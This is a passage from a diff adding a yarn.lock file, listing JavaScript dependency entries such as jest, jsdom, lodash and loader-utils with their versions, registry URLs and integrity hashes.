"^26.6.2" + jest-snapshot "^26.6.2" + jest-util "^26.6.2" + jest-validate "^26.6.2" + slash "^3.0.0" + strip-bom "^4.0.0" + yargs "^15.4.1" + +jest-serializer@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/jest-serializer/-/jest-serializer-26.6.2.tgz#d139aafd46957d3a448f3a6cdabe2919ba0742d1" + integrity sha512-S5wqyz0DXnNJPd/xfIzZ5Xnp1HrJWBczg8mMfMpN78OJ5eDxXyf+Ygld9wX1DnUWbIbhM1YDY95NjR4CBXkb2g== + dependencies: + "@types/node" "*" + graceful-fs "^4.2.4" + +jest-snapshot@^26.6.0, jest-snapshot@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/jest-snapshot/-/jest-snapshot-26.6.2.tgz#f3b0af1acb223316850bd14e1beea9837fb39c84" + integrity sha512-OLhxz05EzUtsAmOMzuupt1lHYXCNib0ECyuZ/PZOx9TrZcC8vL0x+DUG3TL+GLX3yHG45e6YGjIm0XwDc3q3og== + dependencies: + "@babel/types" "^7.0.0" + "@jest/types" "^26.6.2" + "@types/babel__traverse" "^7.0.4" + "@types/prettier" "^2.0.0" + chalk "^4.0.0" + expect "^26.6.2" + graceful-fs "^4.2.4" + jest-diff "^26.6.2" + jest-get-type "^26.3.0" + jest-haste-map "^26.6.2" + jest-matcher-utils "^26.6.2" + jest-message-util "^26.6.2" + jest-resolve "^26.6.2" + natural-compare "^1.4.0" + pretty-format "^26.6.2" + semver "^7.3.2" + +jest-util@^26.6.0, jest-util@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/jest-util/-/jest-util-26.6.2.tgz#907535dbe4d5a6cb4c47ac9b926f6af29576cbc1" + integrity sha512-MDW0fKfsn0OI7MS7Euz6h8HNDXVQ0gaM9uW6RjfDmd1DAFcaxX9OqIakHIqhbnmF08Cf2DLDG+ulq8YQQ0Lp0Q== + dependencies: + "@jest/types" "^26.6.2" + "@types/node" "*" + chalk "^4.0.0" + graceful-fs "^4.2.4" + is-ci "^2.0.0" + micromatch "^4.0.2" + +jest-validate@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/jest-validate/-/jest-validate-26.6.2.tgz#23d380971587150467342911c3d7b4ac57ab20ec" + integrity sha512-NEYZ9Aeyj0i5rQqbq+tpIOom0YS1u2MVu6+euBsvpgIme+FOfRmoC4R5p0JiAUpaFvFy24xgrpMknarR/93XjQ== + dependencies: + "@jest/types" "^26.6.2" + camelcase "^6.0.0" + chalk "^4.0.0" + jest-get-type "^26.3.0" + leven "^3.1.0" + pretty-format "^26.6.2" + +jest-watch-typeahead@0.6.1: + version "0.6.1" + resolved "https://registry.yarnpkg.com/jest-watch-typeahead/-/jest-watch-typeahead-0.6.1.tgz#45221b86bb6710b7e97baaa1640ae24a07785e63" + integrity sha512-ITVnHhj3Jd/QkqQcTqZfRgjfyRhDFM/auzgVo2RKvSwi18YMvh0WvXDJFoFED6c7jd/5jxtu4kSOb9PTu2cPVg== + dependencies: + ansi-escapes "^4.3.1" + chalk "^4.0.0" + jest-regex-util "^26.0.0" + jest-watcher "^26.3.0" + slash "^3.0.0" + string-length "^4.0.1" + strip-ansi "^6.0.0" + +jest-watcher@^26.3.0, jest-watcher@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/jest-watcher/-/jest-watcher-26.6.2.tgz#a5b683b8f9d68dbcb1d7dae32172d2cca0592975" + integrity sha512-WKJob0P/Em2csiVthsI68p6aGKTIcsfjH9Gsx1f0A3Italz43e3ho0geSAVsmj09RWOELP1AZ/DXyJgOgDKxXQ== + dependencies: + "@jest/test-result" "^26.6.2" + "@jest/types" "^26.6.2" + "@types/node" "*" + ansi-escapes "^4.2.1" + chalk "^4.0.0" + jest-util "^26.6.2" + string-length "^4.0.1" + +jest-worker@^24.9.0: + version "24.9.0" + resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-24.9.0.tgz#5dbfdb5b2d322e98567898238a9697bcce67b3e5" + integrity sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw== + dependencies: + merge-stream "^2.0.0" + supports-color "^6.1.0" + +jest-worker@^26.5.0, jest-worker@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-26.6.2.tgz#7f72cbc4d643c365e27b9fd775f9d0eaa9c7a8ed" + integrity sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ== + dependencies: + "@types/node" "*" + merge-stream "^2.0.0" + supports-color "^7.0.0" + +jest@26.6.0: + version "26.6.0" + resolved "https://registry.yarnpkg.com/jest/-/jest-26.6.0.tgz#546b25a1d8c888569dbbe93cae131748086a4a25" + integrity sha512-jxTmrvuecVISvKFFhOkjsWRZV7sFqdSUAd1ajOKY+/QE/aLBVstsJ/dX8GczLzwiT6ZEwwmZqtCUHLHHQVzcfA== + dependencies: + "@jest/core" "^26.6.0" + import-local "^3.0.2" + jest-cli "^26.6.0" + +"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499" + integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ== + +js-yaml@^3.13.1: + version "3.14.1" + resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537" + integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g== + dependencies: + argparse "^1.0.7" + esprima "^4.0.0" + +jsbn@~0.1.0: + version "0.1.1" + resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513" + integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM= + +jsdom@^16.4.0: + version "16.4.0" + resolved "https://registry.yarnpkg.com/jsdom/-/jsdom-16.4.0.tgz#36005bde2d136f73eee1a830c6d45e55408edddb" + integrity sha512-lYMm3wYdgPhrl7pDcRmvzPhhrGVBeVhPIqeHjzeiHN3DFmD1RBpbExbi8vU7BJdH8VAZYovR8DMt0PNNDM7k8w== + dependencies: + abab "^2.0.3" + acorn "^7.1.1" + acorn-globals "^6.0.0" + cssom "^0.4.4" + cssstyle "^2.2.0" + data-urls "^2.0.0" + decimal.js "^10.2.0" + domexception "^2.0.1" + escodegen "^1.14.1" + html-encoding-sniffer "^2.0.1" + is-potential-custom-element-name "^1.0.0" + nwsapi "^2.2.0" + parse5 "5.1.1" + request "^2.88.2" + request-promise-native "^1.0.8" + saxes "^5.0.0" + symbol-tree "^3.2.4" + tough-cookie "^3.0.1" + w3c-hr-time "^1.0.2" + w3c-xmlserializer "^2.0.0" + webidl-conversions "^6.1.0" + whatwg-encoding "^1.0.5" + whatwg-mimetype "^2.3.0" + whatwg-url "^8.0.0" + ws "^7.2.3" + xml-name-validator "^3.0.0" + +jsesc@^2.5.1: + version "2.5.2" + resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4" + integrity sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA== + +jsesc@~0.5.0: + version "0.5.0" + resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d" + integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0= + +json-parse-better-errors@^1.0.1, json-parse-better-errors@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz#bb867cfb3450e69107c131d1c514bab3dc8bcaa9" + integrity sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw== + +json-parse-even-better-errors@^2.3.0: + version "2.3.1" + resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d" + integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w== + +json-schema-traverse@^0.4.1: + version "0.4.1" + resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660" + integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg== + +json-schema-traverse@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2" + integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug== + +json-schema@0.2.3: + version "0.2.3" + resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13" + integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM= + +json-stable-stringify-without-jsonify@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651" + integrity sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE= + +json-stringify-safe@~5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb" + integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus= + +json3@^3.3.3: + version "3.3.3" + resolved "https://registry.yarnpkg.com/json3/-/json3-3.3.3.tgz#7fc10e375fc5ae42c4705a5cc0aa6f62be305b81" + integrity sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA== + +json5@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe" + integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow== + dependencies: + minimist "^1.2.0" + +json5@^2.1.2: + version "2.2.0" + resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.0.tgz#2dfefe720c6ba525d9ebd909950f0515316c89a3" + integrity sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA== + dependencies: + minimist "^1.2.5" + +jsonfile@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb" + integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss= + optionalDependencies: + graceful-fs "^4.1.6" + +jsonfile@^6.0.1: + version "6.1.0" + resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae" + integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ== + dependencies: + universalify "^2.0.0" + optionalDependencies: + graceful-fs "^4.1.6" + +jsprim@^1.2.2: + version "1.4.1" + resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2" + integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI= + dependencies: + assert-plus "1.0.0" + extsprintf "1.3.0" + json-schema "0.2.3" + verror "1.10.0" + +"jsx-ast-utils@^2.4.1 || ^3.0.0", jsx-ast-utils@^3.1.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz#41108d2cec408c3453c1bbe8a4aae9e1e2bd8f82" + integrity sha512-EIsmt3O3ljsU6sot/J4E1zDRxfBNrhjyf/OKjlydwgEimQuznlM4Wv7U+ueONJMyEn1WRE0K8dhi3dVAXYT24Q== + dependencies: + array-includes "^3.1.2" + object.assign "^4.1.2" + +killable@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/killable/-/killable-1.0.1.tgz#4c8ce441187a061c7474fb87ca08e2a638194892" + integrity sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg== + +kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0: + version "3.2.2" + resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64" + integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ= + dependencies: + is-buffer "^1.1.5" + +kind-of@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57" + integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc= + dependencies: + is-buffer "^1.1.5" + +kind-of@^5.0.0: + version "5.1.0" + resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d" + integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw== + +kind-of@^6.0.0, kind-of@^6.0.2: + version "6.0.3" + resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd" + integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw== + +kleur@^3.0.3: + version "3.0.3" + resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e" + integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w== + +klona@^2.0.4: + version "2.0.4" + resolved "https://registry.yarnpkg.com/klona/-/klona-2.0.4.tgz#7bb1e3affb0cb8624547ef7e8f6708ea2e39dfc0" + integrity sha512-ZRbnvdg/NxqzC7L9Uyqzf4psi1OM4Cuc+sJAkQPjO6XkQIJTNbfK2Rsmbw8fx1p2mkZdp2FZYo2+LwXYY/uwIA== + +language-subtag-registry@~0.3.2: + version "0.3.21" + resolved "https://registry.yarnpkg.com/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz#04ac218bea46f04cb039084602c6da9e788dd45a" + integrity sha512-L0IqwlIXjilBVVYKFT37X9Ih11Um5NEl9cbJIuU/SwP/zEEAbBPOnEeeuxVMf45ydWQRDQN3Nqc96OgbH1K+Pg== + +language-tags@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/language-tags/-/language-tags-1.0.5.tgz#d321dbc4da30ba8bf3024e040fa5c14661f9193a" + integrity sha1-0yHbxNowuovzAk4ED6XBRmH5GTo= + dependencies: + language-subtag-registry "~0.3.2" + +last-call-webpack-plugin@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz#9742df0e10e3cf46e5c0381c2de90d3a7a2d7555" + integrity sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w== + dependencies: + lodash "^4.17.5" + webpack-sources "^1.1.0" + +leven@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/leven/-/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2" + integrity sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A== + +levn@^0.4.1: + version "0.4.1" + resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade" + integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ== + dependencies: + prelude-ls "^1.2.1" + type-check "~0.4.0" + +levn@~0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee" + integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4= + dependencies: + prelude-ls "~1.1.2" + type-check "~0.3.2" + +lines-and-columns@^1.1.6: + version "1.1.6" + resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00" + integrity sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA= + +load-json-file@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-2.0.0.tgz#7947e42149af80d696cbf797bcaabcfe1fe29ca8" + integrity sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg= + dependencies: + graceful-fs "^4.1.2" + parse-json "^2.2.0" + pify "^2.0.0" + strip-bom "^3.0.0" + +loader-runner@^2.4.0: + version "2.4.0" + resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-2.4.0.tgz#ed47066bfe534d7e84c4c7b9998c2a75607d9357" + integrity sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw== + +loader-utils@1.2.3: + version "1.2.3" + resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7" + integrity sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA== + dependencies: + big.js "^5.2.2" + emojis-list "^2.0.0" + json5 "^1.0.1" + +loader-utils@2.0.0, loader-utils@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-2.0.0.tgz#e4cace5b816d425a166b5f097e10cd12b36064b0" + integrity sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ== + dependencies: + big.js "^5.2.2" + emojis-list "^3.0.0" + json5 "^2.1.2" + +loader-utils@^1.1.0, loader-utils@^1.2.3, loader-utils@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613" + integrity sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA== + dependencies: + big.js "^5.2.2" + emojis-list "^3.0.0" + json5 "^1.0.1" + +locate-path@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e" + integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4= + dependencies: + p-locate "^2.0.0" + path-exists "^3.0.0" + +locate-path@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e" + integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A== + dependencies: + p-locate "^3.0.0" + path-exists "^3.0.0" + +locate-path@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0" + integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g== + dependencies: + p-locate "^4.1.0" + +lodash._reinterpolate@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz#0ccf2d89166af03b3663c796538b75ac6e114d9d" + integrity sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0= + +lodash.memoize@^4.1.2: + version "4.1.2" + resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe" + integrity sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4= + +lodash.sortby@^4.7.0: + version "4.7.0" + resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438" + integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg= + +lodash.template@^4.5.0: + version "4.5.0" + resolved "https://registry.yarnpkg.com/lodash.template/-/lodash.template-4.5.0.tgz#f976195cf3f347d0d5f52483569fe8031ccce8ab" + integrity sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A== + dependencies: + lodash._reinterpolate "^3.0.0" + lodash.templatesettings "^4.0.0" + +lodash.templatesettings@^4.0.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz#e481310f049d3cf6d47e912ad09313b154f0fb33" + integrity sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ== + dependencies: + lodash._reinterpolate "^3.0.0" + +lodash.toarray@^4.4.0: + version "4.4.0" + resolved "https://registry.yarnpkg.com/lodash.toarray/-/lodash.toarray-4.4.0.tgz#24c4bfcd6b2fba38bfd0594db1179d8e9b656561" + integrity sha1-JMS/zWsvuji/0FlNsRedjptlZWE= + +lodash.topath@^4.5.2: + version "4.5.2" + resolved "https://registry.yarnpkg.com/lodash.topath/-/lodash.topath-4.5.2.tgz#3616351f3bba61994a0931989660bd03254fd009" + integrity sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak= + +lodash.uniq@^4.5.0: + version "4.5.0" + resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773" + integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M= + +"lodash@>=3.5 <5", lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5: + version "4.17.21" + resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c" + integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== + +loglevel@^1.6.8: + version "1.7.1" + resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.7.1.tgz#005fde2f5e6e47068f935ff28573e125ef72f197" + integrity sha512-Hesni4s5UkWkwCGJMQGAh71PaLUmKFM60dHvq0zi/vDhhrzuk+4GgNbTXJ12YYQJn6ZKBDNIjYcuQGKudvqrIw== + +loose-envify@^1.1.0, loose-envify@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf" + integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q== + dependencies: + js-tokens "^3.0.0 || ^4.0.0" + +lower-case@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28" + integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg== + dependencies: + tslib "^2.0.3" + +lru-cache@^5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920" + integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w== + dependencies: + yallist "^3.0.2" + +lru-cache@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94" + integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA== + dependencies: + yallist "^4.0.0" + +lz-string@^1.4.4: + version "1.4.4" + resolved "https://registry.yarnpkg.com/lz-string/-/lz-string-1.4.4.tgz#c0d8eaf36059f705796e1e344811cf4c498d3a26" + integrity sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY= + +magic-string@^0.25.0, magic-string@^0.25.7: + version "0.25.7" + resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.25.7.tgz#3f497d6fd34c669c6798dcb821f2ef31f5445051" + integrity sha512-4CrMT5DOHTDk4HYDlzmwu4FVCcIYI8gauveasrdCu2IKIFOJ3f0v/8MDGJCDL9oD2ppz/Av1b0Nj345H9M+XIA== + dependencies: + sourcemap-codec "^1.4.4" + +make-dir@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-2.1.0.tgz#5f0310e18b8be898cc07009295a30ae41e91e6f5" + integrity sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA== + dependencies: + pify "^4.0.1" + semver "^5.6.0" + +make-dir@^3.0.0, make-dir@^3.0.2: + version "3.1.0" + resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f" + integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw== + dependencies: + semver "^6.0.0" + +makeerror@1.0.x: + version "1.0.11" + resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c" + integrity sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw= + dependencies: + tmpl "1.0.x" + +map-cache@^0.2.2: + version "0.2.2" + resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf" + integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8= + +map-visit@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f" + integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48= + dependencies: + object-visit "^1.0.0" + +md5.js@^1.3.4: + version "1.3.5" + resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f" + integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg== + dependencies: + hash-base "^3.0.0" + inherits "^2.0.1" + safe-buffer "^5.1.2" + +mdn-data@2.0.14: + version "2.0.14" + resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.14.tgz#7113fc4281917d63ce29b43446f701e68c25ba50" + integrity sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow== + +mdn-data@2.0.4: + version "2.0.4" + resolved 